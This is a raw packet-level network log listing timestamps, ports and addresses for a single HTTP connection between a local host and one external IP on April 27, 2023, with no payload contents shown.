Apr 27, 2023 07:41:54.899988890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.900027990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.900069952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.900073051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.900095940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.900114059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.900115967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.900149107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.900166988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.900197029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.905159950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.905195951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.905239105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.905283928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.905289888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.905317068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.905318022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.905379057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.905411005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.905647039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.905723095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.906563044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.906598091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.906641960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.906673908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.906676054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.906714916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.906749964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.906755924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.906791925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.906822920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.906866074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.911807060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.911870956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.911919117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.911959887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.911998987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912050009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912086010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912107944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.912132978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912168026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912193060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.912214994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912230015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.912251949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.912302017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.912323952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.914836884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.914876938 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.914921045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.914966106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.915003061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.915039062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.915047884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.915093899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.915096045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.915141106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.915174007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.915219069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.915273905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.920372963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920428038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920461893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920495033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920516968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920562983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920597076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920675993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920722008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920748949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.920768023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920814037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920815945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.920860052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.920861006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920901060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.920958042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.921035051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.922058105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.922122955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.922172070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.922173023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.922210932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.922228098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.922281027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.923608065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923656940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923695087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923738956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923773050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923816919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923819065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.923861027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923885107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.923907995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923945904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.923952103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.924002886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.924093008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925184965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925218105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925262928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925293922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925312996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925339937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925370932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925378084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925466061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925539017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925585032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925614119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925636053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925663948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925673008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.925714016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.925760984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.926872015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.926907063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.926951885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.926997900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.927000046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.927032948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.927050114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.927092075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.927145958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.928586006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.928622961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.928668976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.928694010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.928716898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.928741932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.928754091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.928796053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.928842068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933511019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933571100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933618069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933655024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933684111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933732986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933734894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933751106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933773994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933800936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933820963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933840990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933867931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933890104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933913946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933932066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.933962107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.933975935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934009075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934024096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934056044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934078932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934102058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934120893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934135914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934175014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934184074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934196949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934230089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934247017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934271097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.934313059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.934338093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935022116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935060024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935105085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935129881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935142040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935189009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935215950 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935235977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935271978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935306072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935317039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935364008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935431004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.935484886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935484886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935484886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935484886 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.935553074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.936810970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.936849117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.936892033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.936899900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.936935902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.936943054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.936974049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.937025070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.937112093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938333988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938383102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938415051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938426971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938460112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938471079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938504934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938517094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938551903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938566923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938596964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938618898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938693047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938713074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938735008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.938775063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.938829899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940351009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940397978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940433025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940437078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940479040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940484047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940522909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940536022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940557957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940586090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940603018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940635920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940646887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940682888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.940721035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.940794945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.941736937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.941783905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.941816092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.941837072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.941860914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.941879034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.941895008 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.941934109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.941987991 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.946666002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.946765900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.946770906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.946814060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.946842909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.946861029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.946902990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.946907997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.946943045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.946950912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.946974039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.946990013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947009087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947027922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947053909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947073936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947108030 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947124958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947153091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947165966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947190046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947199106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947223902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947233915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947274923 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947278976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947293043 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947324038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947348118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947359085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947388887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947427034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947434902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947480917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.947518110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.947536945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.948807001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.948858976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.948899031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.948904991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.948920012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.948942900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.948988914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.949023008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.949094057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.949141979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.949165106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.949188948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.949203014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.949225903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.949248075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.949282885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.950274944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.950311899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.950355053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.950372934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.950387955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.950400114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.950428009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.950433016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.950465918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.950467110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.950488091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.950524092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.951440096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.951476097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.951530933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.951539993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.951556921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.951575994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.951597929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.951620102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.951637983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.951653957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.951675892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.951715946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.952125072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.952172995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.952217102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.952217102 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.952250957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.952253103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.952271938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.952306986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955496073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955548048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955626011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955650091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955663919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955678940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955678940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955709934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955719948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955755949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.955766916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.955802917 CEST	80	49697	85.192.63.15	192.168.2.3
